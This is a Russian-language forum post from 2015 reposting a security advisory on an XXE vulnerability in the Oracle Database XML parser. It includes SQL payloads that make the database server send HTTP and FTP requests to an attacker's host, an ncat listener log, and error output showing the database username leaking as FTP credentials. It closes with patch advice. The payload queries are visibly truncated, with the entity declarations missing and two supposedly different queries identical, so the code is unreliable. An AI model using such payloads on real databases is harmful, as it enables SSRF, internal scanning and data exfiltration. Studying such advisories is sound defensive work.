Показать сообщение отдельно

  #253  
Старый 20.05.2015, 17:42
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Описание уязвимости

Модуль XML-парсера базы данных Oracle уязвим к XXE-инъекции (XML External Entity).

Уязвимые версии: 11.2.0.3, 11.2.0.4, 12.1.0.1 и 12.1.0.2

Необходимый уровень привилегий: Создание сессии

Технические детали

Из-за настроек безопасности XML-парсера в Oracle внешняя схема преобразуется (resolve), но не анализируется. Таким образом, предотвращается использование некоторых типов XXE-инъекций, например, связанных с чтение локальных файлов на удаленном сервере базы данных. Однако злоумышленник может отослать специальный SQL-запрос для вызова XML Resolver'а, заставляя сервер соединиться с удаленным ресурсом через HTTP или FTP. Этот трюк позволяет просачиваться информации через посторонние каналы, выполнять сканирование портов на удаленных внутренних системах, выполнять SSRF-атаки (Server-Side Request Forgery, Межсерверная подделка запросов) или создавать условия для DoS-атак.

Уязвимые обработчики URI:

· http:

· ftp:

XML-парсер в Oracle может быть вызван при помощи функции extractvalue() для объектаxmltype. Ниже показан пример запроса с простейшей полезной нагрузкой в XXE-инъекции:

select extractvalue(xmltype(']>'|| '&' ||'xxe;'),'/l') from dual;

Если выполнить вышеуказанный запрос, возникнет следующая ошибка:

ORA-31001: Invalid resource handle or path name "/etc/passwd"

ORA-06512: at "SYS.XMLTYPE", line 310

ORA-06512: at line 1

31001. 00000 - "Invalid resource handle or path name \"%s\""

*Cause: An invalid resource handle or path name was passed to

the XDB hierarchical resolver.

*Action: Pass a valid resouce handle or path name to the hierarchical

resolver.

Ошибка возникает по причине того, что обработчик FILE URI конвертируется в путь к XDB Repository. Однако изменение запроса и использование обработчика HTTP URI вызывает другую ошибку.

Пример:

select extractvalue(xmltype(']>'|| '&' ||'xxe;'),'/l') from dual;

Возникает следующая ошибка:

ORA-31020: The operation is not allowed,

Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side

ORA-06512: at "SYS.XMLTYPE", line 310

ORA-06512: at line 1

31020. 00000 - "The operation is not allowed, Reason: %s"

*Cause: The operation attempted is not allowed

*Action: See reason and change to a valid operation.

Ошибка, приведенная выше, означает, что обработчики FTP URI или HTTP URI могут быть приняты XML-парсером. Обратите внимание, что запрос, приведенный выше, не отсылает никакие HTTP-запросы к системе злоумышленника. Давайте рассмотрим еще одну полезную нагрузку, которая привязана к Parameter Entity вместо Document Entity:

select extractvalue(xmltype(' %remote; %param1;]>'),'/l') from dual;

При запуске запроса выше на сервере баз данных возникнет та же сама ошибка (ORA-31020). Однако в этот раз сервер отсылает HTTP-запрос на ресурс с именем «test». Ниже приведен лог HTTP-запросов с сервера злоумышленника:

ncat -lvp 80

Ncat: Version 6.25 ( http://nmap.org/ncat )

Ncat: Listening on :::80

Ncat: Listening on 0.0.0.0:80

Ncat: Connection from DB_IP.

Ncat: Connection from DB_IP:27320.

GET /test HTTP/1.0

Host: DB_IP

Content-Type: text/plain; charset=utf-8

Обычно злоумышленнику требуется привилегированный доступ к пакету UTL_HTTP для того, чтобы спровоцировать сервер на создание HTTP-запросов к внешнему ресурсу. Поскольку функция extractvalue() доступна всем пользователям, XXE-инъекция предоставляет еще один способ отсылки «внеплановых» запросов без использования дополнительных привилегий.

Обработчик FTP URI (ftp также может использоваться для вызова XML Resolver’a в Oracle. Запрос, приведенный ниже, отсылает имя пользователя базы данных как имя пользователя FTP-сервера:

select extractvalue(xmltype(' %remote; %param1;]>'),'/l') from dual;

После запуска запроса возникает следующая ошибка (обратите внимание, что код ошибки отличается, поскольку предоставленные учетные данные не могут быть использованы для авторизации на удаленном FTP-сервере).

ORA-31011: XML parsing failed

ORA-19202: Error occurred in XML processing

LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)

Error at line 1

ORA-06512: at "SYS.XMLTYPE", line 310

ORA-06512: at line 1

31011. 00000 - "XML parsing failed"

*Cause: XML parser returned an error while trying to parse the document.

*Action: Check if the document to be parsed is valid.

Имя пользователя базы данных включено в FTP-трафик и отсылается на сервер злоумышленника как имя пользователя FTP-сервера:



Рисунок 1: Попытка соединения с FTP-сервером при помощи учетной записи базы данных

Рекомендации

Установите обновление CPUJan2015, выпущенное компанией Oracle.

Украс с секюритиЛАБ.РУ
 
Ответить с цитированием